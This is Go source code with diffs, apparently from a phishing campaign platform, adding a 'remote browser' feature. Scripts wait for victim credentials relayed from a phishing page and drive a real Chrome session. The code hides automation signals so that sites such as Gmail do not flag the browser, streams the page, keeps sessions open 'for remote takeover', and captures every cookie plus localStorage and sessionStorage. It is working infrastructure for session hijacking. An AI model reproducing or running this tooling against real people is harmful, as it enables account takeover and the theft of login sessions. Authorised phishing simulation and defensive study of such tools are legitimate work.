func chromeEnv(overrides ...string) []string {
allowed := map[string]bool{
"HOME": true, "PATH": true, "USER": true, "LOGNAME": true,
"DISPLAY": true, "XAUTHORITY": true, "DBUS_SESSION_BUS_ADDRESS": true,
"FONTCONFIG_PATH": true, "FONTCONFIG_FILE": true,
}
var env []string
for _, kv := range os.Environ() {
key := kv
if i := strings.IndexByte(kv, '='); i >= 0 {
key = kv[:i]
}
if allowed[key] {
env = append(env, kv)
}
}
return append(env, overrides...)
}
// resolveBrowserRootDir returns the directory Rod uses to cache its auto-downloaded
// Chromium. We use a path next to the running binary rather than $HOME/.cache
// because the systemd unit sets ProtectHome=true, making /home inaccessible to
// the service regardless of what /etc/passwd says.
func resolveBrowserRootDir() (string, error) {
execPath, err := os.Executable()
if err != nil {
return "", fmt.Errorf("cannot locate browser cache dir: %w", err)
}
return filepath.Join(filepath.Dir(execPath), "data", "browser"), nil
}
// Runner executes a JS script against a Chrome instance and streams events
// to the Events channel. The caller must close or drain Events after Run returns.
type Runner struct {
Script string
Config Config
// ExecPath is the server-configured Chrome binary path (from config.json,
// not user-supplied). Empty = Rod auto-download.
ExecPath string
Events chan RunEvent // server → client
Incoming chan IncomingMsg // client → script (victim events / test injections)
// BrowserCh receives the *rod.Page as soon as newSession() spawns the browser.
// The caller reads this once to obtain the page for streaming.
BrowserCh chan *rod.Page
// LiveCh receives the *rod.Page when s.keepAlive() is called (kept for compat).
LiveCh chan *rod.Page
// StreamCh receives commands from s.stream(selector, name) / stop().
StreamCh chan StreamCmd
}
// IncomingMsg is an event sent from the client into the running script.
// Wire format: {"event": "credentials", "data": {"username": "...", "password": "..."}}
type IncomingMsg struct {
Event string `json:"event"`
Data interface{} `json:"data"`
}
// StreamCmd is sent on Runner.StreamCh when the script calls s.stream() or the returned stop().
type StreamCmd struct {
Op string // "start" | "stop"
Selector string // CSS selector (Op=start)
Name string // stream name
Page *rod.Page // rod page (Op=start)
MaxFps int // 0 = unlimited
Quality int // JPEG re-encode quality 1-100; 0 = default (92)
}
// NewRunner creates a Runner with buffered event channels.
func NewRunner(script string, cfg Config) *Runner {
return &Runner{
Script: script,
Config: cfg,
Events: make(chan RunEvent, 256),
Incoming: make(chan IncomingMsg, 256),
BrowserCh: make(chan *rod.Page, 1),
LiveCh: make(chan *rod.Page, 1),
StreamCh: make(chan StreamCmd, 16),
}
}
// Run executes the script. It blocks until the script finishes, the context is
// cancelled, or the global timeout fires. The Events channel is closed when Run
// returns.
func (r *Runner) Run(ctx context.Context) error {
defer close(r.Events)
defer close(r.StreamCh)
emitter := newChannelEmitter(r.Events)
timeout := time.Duration(r.Config.Timeout) * time.Millisecond
ctx, cancel := context.WithTimeout(ctx, timeout)
defer cancel()
vm := goja.New()
// Interrupt the JS VM when the context expires so a pure-JS busy loop
// (e.g. while(true){}) cannot leak this goroutine after the timeout fires.
go func() {
<-ctx.Done()
vm.Interrupt(ctx.Err())
}()
// vmArgStr returns "" for undefined/null instead of the string "undefined".
vmArgStr := func(v goja.Value) string {
if goja.IsUndefined(v) || goja.IsNull(v) {
return ""
}
return v.String()
}
vm.Set("emit", func(call goja.FunctionCall) goja.Value {
key := vmArgStr(call.Argument(0))
value := call.Argument(1).Export()
emitter.emit(key, value)
return goja.Undefined()
})
vm.Set("log", func(call goja.FunctionCall) goja.Value {
msg := vmArgStr(call.Argument(0))
if len(call.Arguments) > 1 && !goja.IsUndefined(call.Argument(1)) && !goja.IsNull(call.Argument(1)) {
emitter.log(msg, call.Argument(1).Export())
} else {
emitter.log(msg)
}
return goja.Undefined()
})
vm.Set("info", func(call goja.FunctionCall) goja.Value {
msg := vmArgStr(call.Argument(0))
emitter.info(msg)
return goja.Undefined()
})
vm.Set("submitData", func(call goja.FunctionCall) goja.Value {
data := call.Argument(0).Export()
emitter.submitData(data)
return goja.Undefined()
})
vm.Set("waitForEvent", func(call goja.FunctionCall) goja.Value {
key := vmArgStr(call.Argument(0))
emitter.log(fmt.Sprintf("[waitForEvent] waiting for %q", key))
for {
select {
case <-ctx.Done():
panic(vm.NewGoError(ctx.Err()))
case msg, ok := <-r.Incoming:
if !ok {
panic(vm.NewGoError(fmt.Errorf("incoming channel closed")))
}
if msg.Event == key {
emitter.log(fmt.Sprintf("[waitForEvent] received %q", key))
return vm.ToValue(msg.Data)
}
}
}
})
vm.Set("waitForAny", func(call goja.FunctionCall) goja.Value {
// waitForAny(["password", "username"]) or waitForAny("password", "username")
// Returns {event: "...", data: ...} for whichever arrives first.
keySet := make(map[string]bool)
if len(call.Arguments) == 1 {
if arr, ok := call.Argument(0).Export().([]interface{}); ok {
for _, v := range arr {
keySet[fmt.Sprintf("%v", v)] = true
}
} else {
keySet[vmArgStr(call.Argument(0))] = true
}
} else {
for _, a := range call.Arguments {
keySet[vmArgStr(a)] = true
}
}
for {
select {
case <-ctx.Done():
panic(vm.NewGoError(ctx.Err()))
case msg, ok := <-r.Incoming:
if !ok {
panic(vm.NewGoError(fmt.Errorf("incoming channel closed")))
}
if keySet[msg.Event] {
result := vm.NewObject()
result.Set("event", msg.Event)
result.Set("data", vm.ToValue(msg.Data))
return result
}
}
}
})
// Note: withTimeout is intentionally NOT available at the top level because
// there is no page context to thread through. Use session.withTimeout(ms, fn) instead.
vm.Set("newSession", func(call goja.FunctionCall) goja.Value {
type sessionOpts struct {
Proxy string
Remote string
Headless bool
IdleTimeout int // ms; 0 = disabled
Debug bool
QueryTimeout int // ms; 0 = no timeout on read ops
UserAgent string
}
opts := sessionOpts{
Headless: r.Config.Headless,
}
if r.Config.Proxy != "" {
opts.Proxy = r.Config.Proxy
}
if r.Config.Mode == "remote" && r.Config.Remote != "" {
opts.Remote = r.Config.Remote
}
if len(call.Arguments) > 0 {
obj := call.Argument(0).ToObject(vm)
if obj != nil {
if v := obj.Get("proxy"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
opts.Proxy = v.String()
}
if v := obj.Get("remote"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
opts.Remote = v.String()
}
if v := obj.Get("headless"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
opts.Headless = v.ToBoolean()
}
if v := obj.Get("idleTimeout"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
opts.IdleTimeout = int(v.ToInteger())
}
if v := obj.Get("debug"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
opts.Debug = v.ToBoolean()
}
if v := obj.Get("queryTimeout"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
opts.QueryTimeout = int(v.ToInteger())
}
if v := obj.Get("userAgent"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
opts.UserAgent = v.String()
}
}
}
var browser *rod.Browser
var page *rod.Page
if opts.Remote != "" {
if opts.Proxy != "" {
emitter.log(fmt.Sprintf("[session] warning: proxy %q ignored for remote browser", opts.Proxy))
}
emitter.log(fmt.Sprintf("[session] connecting to remote browser at %s", opts.Remote))
browser = rod.New().ControlURL(opts.Remote).Context(ctx)
if err := browser.Connect(); err != nil {
emitter.errorf(fmt.Sprintf("browser connect failed: %v", err))
return goja.Undefined()
}
var err error
page, err = browser.Page(proto.TargetCreateTarget{URL: "about:blank"})
if err != nil {
emitter.errorf(fmt.Sprintf("page create failed: %v", err))
browser.Close() //nolint:errcheck
return goja.Undefined()
}
} else {
rootDir, err := resolveBrowserRootDir()
if err != nil {
emitter.errorf(err.Error())
return goja.Undefined()
}
// Newer Chromium requires writable XDG dirs and a crash-dumps-dir at
// startup (see go-rod#1126). Use subdirs of the browser root so all
// Chrome-related data lives in one place.
crashDir := filepath.Join(rootDir, "crashes")
os.MkdirAll(crashDir, 0755) //nolint:errcheck
os.MkdirAll(filepath.Join(rootDir, "config"), 0755) //nolint:errcheck
os.MkdirAll(filepath.Join(rootDir, "cache"), 0755) //nolint:errcheck
l := launcher.New().
Headless(opts.Headless).
Set("disable-crash-reporter").
Set("crash-dumps-dir", crashDir).
// Prevents navigator.webdriver from being set to true, which is
// the primary signal sites like Gmail use to detect automation.
Set("disable-blink-features", "AutomationControlled").
Env(chromeEnv(
"XDG_CONFIG_HOME="+filepath.Join(rootDir, "config"),
"XDG_CACHE_HOME="+filepath.Join(rootDir, "cache"),
)...)
if r.ExecPath != "" {
l = l.Bin(r.ExecPath)
} else {
b := launcher.NewBrowser()
b.RootDir = rootDir
binPath := b.BinPath()
if _, err := os.Stat(binPath); os.IsNotExist(err) {
if err := b.Download(); err != nil {
emitter.errorf(fmt.Sprintf("browser download failed: %v", err))
return goja.Undefined()
}
}
l = l.Bin(binPath)
}
if opts.Proxy != "" {
emitter.log(fmt.Sprintf("[session] using proxy: %s", opts.Proxy))
l = l.Proxy(opts.Proxy).Set("proxy-bypass-list", "")
}
u, err := l.Launch()
if err != nil {
emitter.errorf(fmt.Sprintf("browser launch failed: %v", err))
return goja.Undefined()
}
browser = rod.New().ControlURL(u).Context(ctx)
if err := browser.Connect(); err != nil {
emitter.errorf(fmt.Sprintf("browser connect failed: %v", err))
return goja.Undefined()
}
page, err = browser.Page(proto.TargetCreateTarget{URL: "about:blank"})
if err != nil {
emitter.errorf(fmt.Sprintf("page create failed: %v", err))
browser.Close() //nolint:errcheck
return goja.Undefined()
}
}
// Apply user-agent override. When headless and no explicit UA is set we use
// DefaultChromiumUA to strip "HeadlessChrome" from the header — a common
// trigger for "unsupported browser" pages (Gmail, etc.).
ua := opts.UserAgent
if ua == "" && opts.Headless {
ua = DefaultChromiumUA
}
if ua != "" {
if err := page.SetUserAgent(&proto.NetworkSetUserAgentOverride{UserAgent: ua}); err != nil {
emitter.log(fmt.Sprintf("[session] warning: failed to set user-agent: %v", err))
}
}
// Signal the controller that a page is ready for streaming.
select {
case r.BrowserCh <- page:
default:
}
session := vm.NewObject()
RegisterBrowserBindings(vm, session, page, emitter, opts.Debug, opts.QueryTimeout)
session.Set("withTimeout", func(call goja.FunctionCall) goja.Value {
ms := call.Argument(0).ToInteger()
fn, ok := goja.AssertFunction(call.Argument(1))
if !ok {
panic(vm.NewTypeError("withTimeout: second argument must be a function"))
}
tCtx, tCancel := context.WithTimeout(page.GetContext(), time.Duration(ms)*time.Millisecond)
defer tCancel()
tPage := page.Context(tCtx)
tmpSession := vm.NewObject()
RegisterBrowserBindings(vm, tmpSession, tPage, nil, opts.Debug, opts.QueryTimeout)
_, err := fn(goja.Undefined(), tmpSession)
if err != nil {
panic(err)
}
return goja.Undefined()
})
session.Set("close", func(call goja.FunctionCall) goja.Value {
emitter.log("[session] closing")
if opts.Remote != "" {
page.Close() //nolint:errcheck
} else {
browser.Close() //nolint:errcheck
}
return goja.Undefined()
})
// keepAlive parks the script and signals the caller that the page
// is available for streaming. It blocks until the runner context
// is cancelled (e.g. the admin closes the live session).
session.Set("keepAlive", func(call goja.FunctionCall) goja.Value {
emitter.log("[session] keeping alive for remote takeover")
select {
case r.LiveCh <- page:
default:
}
emitter.sendMust(RunEvent{
Type: "keep_alive",
Time: time.Now().UTC().Format(time.RFC3339Nano),
})
<-ctx.Done()
emitter.log("[session] keep-alive ended")
return goja.Undefined()
})
// Event-driven API: s.on(event, fn) + s.listen() + s.done()
handlers := map[string]goja.Callable{}
listenDone := make(chan struct{}, 1)
session.Set("on", func(call goja.FunctionCall) goja.Value {
event := call.Argument(0).String()
fn, ok := goja.AssertFunction(call.Argument(1))
if !ok {
panic(vm.NewTypeError("on: second argument must be a function"))
}
handlers[event] = fn
return goja.Undefined()
})
session.Set("done", func(call goja.FunctionCall) goja.Value {
select {
case listenDone <- struct{}{}:
default:
}
return goja.Undefined()
})
session.Set("listen", func(call goja.FunctionCall) goja.Value {
emitter.log("[session] listening for events")
var idleCh <-chan time.Time
var idleTimer *time.Timer
resetIdle := func() {
if opts.IdleTimeout > 0 {
if idleTimer != nil {
idleTimer.Stop()
}
idleTimer = time.NewTimer(time.Duration(opts.IdleTimeout) * time.Millisecond)
idleCh = idleTimer.C
}
}
resetIdle()
for {
select {
case <-ctx.Done():
return goja.Undefined()
case <-listenDone:
return goja.Undefined()
case <-idleCh:
emitter.log(fmt.Sprintf("[session] idle timeout (%dms), closing", opts.IdleTimeout))
if opts.Remote != "" {
page.Close() //nolint:errcheck
} else {
browser.Close() //nolint:errcheck
}
return goja.Undefined()
case msg, ok := <-r.Incoming:
if !ok {
return goja.Undefined()
}
resetIdle()
fn, exists := handlers[msg.Event]
if !exists {
emitter.log(fmt.Sprintf("[session] no handler for %q, ignoring", msg.Event))
continue
}
if _, err := fn(goja.Undefined(), vm.ToValue(msg.Data)); err != nil {
panic(err)
}
}
}
})
// s.stream(selector, name) — non-blocking; returns {stop()} to end the stream.
// The caller (controller) watches StreamCh to start/stop cropped frame forwarding.
streamDebug := opts.Debug // capture bool, not struct field, to match RegisterBrowserBindings pattern
session.Set("stream", func(call goja.FunctionCall) goja.Value {
selector := vmArgStr(call.Argument(0))
name := vmArgStr(call.Argument(1))
if selector == "" || name == "" {
panic(vm.NewTypeError("stream: selector and name are required"))
}
maxFps := 0
quality := 0
if len(call.Arguments) > 2 {
if obj := call.Argument(2).ToObject(vm); obj != nil {
if v := obj.Get("maxFps"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
maxFps = int(v.ToInteger())
}
if v := obj.Get("quality"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
quality = int(v.ToInteger())
}
}
}
if streamDebug {
emitter.log(fmt.Sprintf("[dbg] → stream %s as %q (maxFps=%d, quality=%d)", selector, name, maxFps, quality))
}
select {
case r.StreamCh <- StreamCmd{Op: "start", Selector: selector, Name: name, Page: page, MaxFps: maxFps, Quality: quality}:
default:
}
if streamDebug {
emitter.log(fmt.Sprintf("[dbg] ✓ stream %s as %q started", selector, name))
}
stopObj := vm.NewObject()
stopped := false
stopObj.Set("stop", func(call goja.FunctionCall) goja.Value {
if !stopped {
stopped = true
if streamDebug {
emitter.log(fmt.Sprintf("[dbg] → stream stop %q", name))
}
select {
case r.StreamCh <- StreamCmd{Op: "stop", Name: name}:
default:
}
if streamDebug {
emitter.log(fmt.Sprintf("[dbg] ✓ stream stop %q", name))
}
}
return goja.Undefined()
})
return stopObj
})
// s.capture() / s.capture({cookies,localStorage,sessionStorage})
// Grabs cookies via CDP + localStorage/sessionStorage via JS, emits a "capture" event,
// and also returns the data so scripts can inspect it directly.
session.Set("capture", func(call goja.FunctionCall) goja.Value {
// Options:
// domains []string - filter cookies to these domains via CDP (e.g. ["google.com"])
// cookieNames []string - only keep cookies with these names
// localStorage bool - include localStorage (default true when no domains given)
// sessionStorage bool - include sessionStorage (default true when no domains given)
var domains []string
var cookieNames []string
lsExplicit, ssExplicit := false, false
capLS := true
capSS := true
if len(call.Arguments) > 0 {
obj := call.Argument(0).ToObject(vm)
if obj != nil {
if v := obj.Get("domains"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
if arr, ok := v.Export().([]interface{}); ok {
for _, d := range arr {
domains = append(domains, fmt.Sprintf("%v", d))
}
}
}
if v := obj.Get("cookieNames"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
if arr, ok := v.Export().([]interface{}); ok {
for _, n := range arr {
cookieNames = append(cookieNames, fmt.Sprintf("%v", n))
}
}
}
if v := obj.Get("localStorage"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
capLS = v.ToBoolean()
lsExplicit = true
}
if v := obj.Get("sessionStorage"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) {
capSS = v.ToBoolean()
ssExplicit = true
}
}
}
// When domains are specified, skip storage by default unless the caller explicitly opted in.
if len(domains) > 0 {
if !lsExplicit {
capLS = false
}
if !ssExplicit {
capSS = false
}
}
result := map[string]interface{}{}
// Cookie capture: domain-scoped via network.GetCookies (CDP) or all cookies.
if len(domains) > 0 {
urls := make([]string, len(domains))
for i, d := range domains {
d = strings.TrimPrefix(d, ".")
if !strings.HasPrefix(d, "http") {
d = "https://" + d
}
urls[i] = d
}
res, err := proto.NetworkGetCookies{Urls: urls}.Call(page)
if err == nil {
cookies := res.Cookies
// Filter by name if requested.
if len(cookieNames) > 0 {
nameSet := make(map[string]bool, len(cookieNames))
for _, n := range cookieNames {
nameSet[n] = true
}
filtered := cookies[:0]
for _, c := range cookies {
if nameSet[c.Name] {
filtered = append(filtered, c)
}
}
cookies = filtered
}
result["cookies"] = cookies
} else {
emitter.log(fmt.Sprintf("[capture] cookies: %s", err))
}
} else {
// StorageGetCookies returns all browser cookies (all domains),
// equivalent to the CDP Storage.getCookies command.
res, err := proto.StorageGetCookies{}.Call(page)
if err == nil {
cookies := res.Cookies
// Filter by name if requested.
if len(cookieNames) > 0 {
nameSet := make(map[string]bool, len(cookieNames))
for _, n := range cookieNames {
nameSet[n] = true
}
filtered := cookies[:0]
for _, c := range cookies {
if nameSet[c.Name] {
filtered = append(filtered, c)
}
}
cookies = filtered
}
result["cookies"] = cookies
} else {
emitter.log(fmt.Sprintf("[capture] cookies: %s", err))
}
}
evalStorage := func(key string, storeName string) {
script := fmt.Sprintf(`() => (function(){try{var s=window[%q],o={};for(var i=0;i<s.length;i++){var k=s.key(i);o[k]=s.getItem(k);}return JSON.stringify(o);}catch(e){return "{}"}})()`, storeName)
res, err := page.Eval(script)
if err != nil {
emitter.log(fmt.Sprintf("[capture] %s: %s", key, err))
return
}
var data interface{}
if json.Unmarshal([]byte(res.Value.Str()), &data) == nil {
result[key] = data
}
}
if capLS {
evalStorage("localStorage", "localStorage")
}
if capSS {
evalStorage("sessionStorage", "sessionStorage")
}
emitter.capture(result)
return vm.ToValue(result)
})
return session
})
_, err := vm.RunString(r.Script)
if err != nil {
if ex, ok := err.(*goja.Exception); ok {
emitter.errorf(ex.String())
return fmt.Errorf("script error: %s", ex.String())
}
emitter.errorf(err.Error())
return err
}
emitter.done()
return nil
}
+1 -1
View File
@@ -1413,7 +1413,7 @@ func (r *Campaign) SaveEvent(
"ip_address": campaignEvent.IP.String(),
"user_agent": campaignEvent.UserAgent.String(),
"data": campaignEvent.Data.String(),
"metadata": campaignEvent.Metadata.String(),
"metadata": func() string { if campaignEvent.Metadata == nil { return "" }; return campaignEvent.Metadata.String() }(),
}
if campaignEvent.RecipientID != nil {
row["recipient_id"] = campaignEvent.RecipientID.String()
+219
View File
@@ -0,0 +1,219 @@
package repository
import (
"context"
"encoding/json"
"fmt"
"github.com/google/uuid"
"github.com/oapi-codegen/nullable"
"github.com/phishingclub/phishingclub/database"
"github.com/phishingclub/phishingclub/errs"
"github.com/phishingclub/phishingclub/model"
"github.com/phishingclub/phishingclub/vo"
"gorm.io/gorm"
)
var remoteBrowserAllowedColumns = assignTableToColumns(database.REMOTE_BROWSER_TABLE, []string{
"created_at",
"updated_at",
"name",
})
// RemoteBrowserOption controls eager loading and query params.
type RemoteBrowserOption struct {
*vo.QueryArgs
WithCompany bool
}
// RemoteBrowser is the remote browser repository.
type RemoteBrowser struct {
DB *gorm.DB
}
func (m *RemoteBrowser) load(options *RemoteBrowserOption, db *gorm.DB) *gorm.DB {
if options.WithCompany {
db = db.Joins("Company")
}
return db
}
// Insert creates a new remote browser record.
func (m *RemoteBrowser) Insert(ctx context.Context, rb *model.RemoteBrowser) (*uuid.UUID, error) {
id := uuid.New()
row := rb.ToDBMap()
row["id"] = id
AddTimestamps(row)
res := m.DB.Model(&database.RemoteBrowser{}).Create(row)
if res.Error != nil {
return nil, res.Error
}
return &id, nil
}
// GetAll returns a paginated list of remote browsers for the given company.
func (m *RemoteBrowser) GetAll(
ctx context.Context,
companyID *uuid.UUID,
options *RemoteBrowserOption,
) (*model.Result[model.RemoteBrowser], error) {
result := model.NewEmptyResult[model.RemoteBrowser]()
var rows []database.RemoteBrowser
db := m.load(options, m.DB)
db = withCompanyIncludingNullContext(db, companyID, database.REMOTE_BROWSER_TABLE)
db, err := useQuery(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...)
if err != nil {
return result, errs.Wrap(err)
}
if res := db.Find(&rows); res.Error != nil {
return result, res.Error
}
hasNextPage, err := useHasNextPage(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...)
if err != nil {
return result, errs.Wrap(err)
}
result.HasNextPage = hasNextPage
for _, row := range rows {
rb, err := ToRemoteBrowser(&row)
if err != nil {
return result, errs.Wrap(err)
}
result.Rows = append(result.Rows, rb)
}
return result, nil
}
// GetAllSubset returns lightweight overview rows.
func (m *RemoteBrowser) GetAllSubset(
ctx context.Context,
companyID *uuid.UUID,
options *RemoteBrowserOption,
) (*model.Result[model.RemoteBrowserOverview], error) {
result := model.NewEmptyResult[model.RemoteBrowserOverview]()
var rows []database.RemoteBrowser
db := withCompanyIncludingNullContext(m.DB, companyID, database.REMOTE_BROWSER_TABLE)
db, err := useQuery(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...)
if err != nil {
return result, errs.Wrap(err)
}
if res := db.Select("id, created_at, updated_at, name, description, company_id").Find(&rows); res.Error != nil {
return result, res.Error
}
hasNextPage, err := useHasNextPage(db, database.REMOTE_BROWSER_TABLE, options.QueryArgs, remoteBrowserAllowedColumns...)
if err != nil {
return result, errs.Wrap(err)
}
result.HasNextPage = hasNextPage
for _, row := range rows {
result.Rows = append(result.Rows, &model.RemoteBrowserOverview{
ID: *row.ID,
CreatedAt: row.CreatedAt,
UpdatedAt: row.UpdatedAt,
Name: row.Name,
Description: row.Description,
CompanyID: row.CompanyID,
})
}
return result, nil
}
// GetByID returns a single remote browser by ID.
func (m *RemoteBrowser) GetByID(
ctx context.Context,
id *uuid.UUID,
options *RemoteBrowserOption,
) (*model.RemoteBrowser, error) {
row := database.RemoteBrowser{}
db := m.load(options, m.DB)
if res := db.Where(TableColumnID(database.REMOTE_BROWSER_TABLE)+" = ?", id).First(&row); res.Error != nil {
return nil, res.Error
}
return ToRemoteBrowser(&row)
}
// GetByNameAndCompanyID returns a remote browser by name (used for uniqueness checks).
func (m *RemoteBrowser) GetByNameAndCompanyID(
ctx context.Context,
name *vo.String64,
companyID *uuid.UUID,
options *RemoteBrowserOption,
) (*model.RemoteBrowser, error) {
row := database.RemoteBrowser{}
db := m.load(options, m.DB)
db = withCompanyIncludingNullContext(db, companyID, database.REMOTE_BROWSER_TABLE)
res := db.Where(
fmt.Sprintf("%s = ?", TableColumn(database.REMOTE_BROWSER_TABLE, "name")),
name.String(),
).First(&row)
if res.Error != nil {
return nil, res.Error
}
return ToRemoteBrowser(&row)
}
// UpdateByID updates the mutable fields of a remote browser.
func (m *RemoteBrowser) UpdateByID(ctx context.Context, id *uuid.UUID, rb *model.RemoteBrowser) error {
row := rb.ToDBMap()
AddUpdatedAt(row)
res := m.DB.Model(&database.RemoteBrowser{}).Where("id = ?", id).Updates(row)
if res.Error != nil {
return res.Error
}
return nil
}
// DeleteByID hard-deletes a remote browser.
func (m *RemoteBrowser) DeleteByID(ctx context.Context, id *uuid.UUID) error {
if res := m.DB.Delete(&database.RemoteBrowser{}, id); res.Error != nil {
return res.Error
}
return nil
}
// ToRemoteBrowser maps a database row to the model type.
func ToRemoteBrowser(row *database.RemoteBrowser) (*model.RemoteBrowser, error) {
id := nullable.NewNullableWithValue(*row.ID)
companyID := nullable.NewNullNullable[uuid.UUID]()
if row.CompanyID != nil {
companyID.Set(*row.CompanyID)
}
name := nullable.NewNullableWithValue(*vo.NewString64Must(row.Name))
description, err := vo.NewOptionalString1024(row.Description)
if err != nil {
return nil, errs.Wrap(err)
}
descriptionNullable := nullable.NewNullableWithValue(*description)
script, err := vo.NewString1MB(row.Script)
if err != nil {
return nil, errs.Wrap(err)
}
scriptNullable := nullable.NewNullableWithValue(*script)
var cfg model.RemoteBrowserConfig
if row.Config != "" {
if err := json.Unmarshal([]byte(row.Config), &cfg); err != nil {
return nil, errs.Wrap(fmt.Errorf("invalid stored config: %w", err))
}
}
configNullable := nullable.NewNullableWithValue(cfg)
return &model.RemoteBrowser{
ID: id,
CreatedAt: row.CreatedAt,
UpdatedAt: row.UpdatedAt,
CompanyID: companyID,
Name: name,
Description: descriptionNullable,
Script: scriptNullable,
Config: configNullable,
}, nil
}
+34
View File
@@ -58,6 +58,7 @@ func initialInstallAndSeed(
&database.OAuthProvider{},
&database.OAuthState{},
&database.MicrosoftDeviceCode{},
&database.RemoteBrowser{},
}
// disable foreign key constraints temporarily for sqlite to allow table recreation
@@ -384,6 +385,39 @@ func SeedSettings(
}
}
}
{
// seed remote browser victim WS path - 12 random lowercase alphanumeric chars
id := uuid.New()
var c int64
res := db.
Model(&database.Option{}).
Where("key = ?", data.OptionKeyRemoteBrowserWSPath).
Count(&c)
if res.Error != nil {
return errs.Wrap(res.Error)
}
if c == 0 {
b := make([]byte, 12)
_, err := rand.Read(b)
if err != nil {
return errs.Wrap(err)
}
charset := "abcdefghijklmnopqrstuvwxyz0123456789"
wsPath := ""
for i := range b {
wsPath += string(charset[int(b[i])%len(charset)])
}
res = db.Create(&database.Option{
ID: &id,
Key: data.OptionKeyRemoteBrowserWSPath,
Value: wsPath,
})
if res.Error != nil {
return errs.Wrap(res.Error)
}
}
}
return nil
}
+7
View File
@@ -57,6 +57,7 @@ type Campaign struct {
WebhookService *Webhook
MicrosoftDeviceCodeRepository *repository.MicrosoftDeviceCode
AttachmentPath string
RemoteBrowserService *RemoteBrowser
}
// Create creates a new campaign
@@ -1880,6 +1881,9 @@ func (c *Campaign) DeleteByID(
c.Logger.Errorw("failed to delete campaign by id", "error", err)
return errs.Wrap(err)
}
if c.RemoteBrowserService != nil {
c.RemoteBrowserService.TerminateByCampaignID(*id)
}
c.AuditLogAuthorized(ae)
return nil
}
@@ -3190,6 +3194,9 @@ func (c *Campaign) closeCampaign(
c.Logger.Errorw("failed to cancel recipients", "error", err)
return errs.Wrap(err)
}
if c.RemoteBrowserService != nil {
c.RemoteBrowserService.TerminateByCampaignID(*id)
}
err = campaign.Closed()
if go_errors.Is(err, errs.ErrCampaignAlreadyClosed) {
c.Logger.Debugw("campaign already closed", "error", err)
+294
View File
@@ -0,0 +1,294 @@
package service
import (
"context"
"sync"
"github.com/go-errors/errors"
"github.com/google/uuid"
"github.com/phishingclub/phishingclub/data"
"github.com/phishingclub/phishingclub/errs"
"github.com/phishingclub/phishingclub/model"
"github.com/phishingclub/phishingclub/repository"
"github.com/phishingclub/phishingclub/validate"
"gorm.io/gorm"
)
// LiveSession is the minimal interface the service needs to manage session lifecycle.
// The controller's concrete session type implements this; the service never needs to
// know about browser pages or WebSocket connections.
type LiveSession interface {
GetCampaignID() uuid.UUID
Cancel()
IsKeepAlive() bool
}
// RemoteBrowser manages saved remote browser scripts and tracks live sessions.
type RemoteBrowser struct {
Common
RemoteBrowserRepository *repository.RemoteBrowser
sessions sync.Map // key (crID or rbID string) → LiveSession
}
// SwapSession atomically replaces the session for key, returning the previous one.
func (s *RemoteBrowser) SwapSession(key string, sess LiveSession) (LiveSession, bool) {
prev, had := s.sessions.Swap(key, sess)
if !had {
return nil, false
}
return prev.(LiveSession), true
}
// StoreSession stores a session, overwriting any existing entry for key.
func (s *RemoteBrowser) StoreSession(key string, sess LiveSession) {
s.sessions.Store(key, sess)
}
// LoadSession returns the session for key, if present.
func (s *RemoteBrowser) LoadSession(key string) (LiveSession, bool) {
val, ok := s.sessions.Load(key)
if !ok {
return nil, false
}
return val.(LiveSession), true
}
// LoadAndDeleteSession atomically loads and removes the session for key.
func (s *RemoteBrowser) LoadAndDeleteSession(key string) (LiveSession, bool) {
val, loaded := s.sessions.LoadAndDelete(key)
if !loaded {
return nil, false
}
return val.(LiveSession), true
}
// CompareAndDeleteSession removes the session for key only if it is still sess
// (pointer identity), so a newer session's cleanup never evicts its own entry.
func (s *RemoteBrowser) CompareAndDeleteSession(key string, sess LiveSession) {
s.sessions.CompareAndDelete(key, sess)
}
// RangeSessions calls fn for every live session. Returning false stops iteration.
func (s *RemoteBrowser) RangeSessions(fn func(key string, sess LiveSession) bool) {
s.sessions.Range(func(k, v any) bool {
return fn(k.(string), v.(LiveSession))
})
}
// TerminateByCampaignID cancels and removes all sessions belonging to campaignID.
// Called by service.Campaign on close/delete.
func (s *RemoteBrowser) TerminateByCampaignID(campaignID uuid.UUID) {
s.sessions.Range(func(key, value any) bool {
sess := value.(LiveSession)
if sess.GetCampaignID() == campaignID {
sess.Cancel()
s.sessions.CompareAndDelete(key, value)
}
return true
})
}
// Create saves a new remote browser script.
func (s *RemoteBrowser) Create(
ctx context.Context,
session *model.Session,
rb *model.RemoteBrowser,
) (*uuid.UUID, error) {
ae := NewAuditEvent("RemoteBrowser.Create", session)
isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
s.LogAuthError(err)
return nil, errs.Wrap(err)
}
if !isAuthorized {
s.AuditLogNotAuthorized(ae)
return nil, errs.ErrAuthorizationFailed
}
var companyID *uuid.UUID
if cid, err := rb.CompanyID.Get(); err == nil {
companyID = &cid
}
if err := rb.Validate(); err != nil {
s.Logger.Errorw("failed to validate remote browser", "error", err)
return nil, errs.Wrap(err)
}
name := rb.Name.MustGet()
isOK, err := repository.CheckNameIsUnique(ctx, s.RemoteBrowserRepository.DB, "remote_browsers", name.String(), companyID, nil)
if err != nil {
s.Logger.Errorw("failed to check remote browser uniqueness", "error", err)
return nil, errs.Wrap(err)
}
if !isOK {
return nil, validate.WrapErrorWithField(errors.New("is not unique"), "name")
}
id, err := s.RemoteBrowserRepository.Insert(ctx, rb)
if err != nil {
s.Logger.Errorw("failed to create remote browser", "error", err)
return nil, errs.Wrap(err)
}
ae.Details["id"] = id.String()
s.AuditLogAuthorized(ae)
return id, nil
}
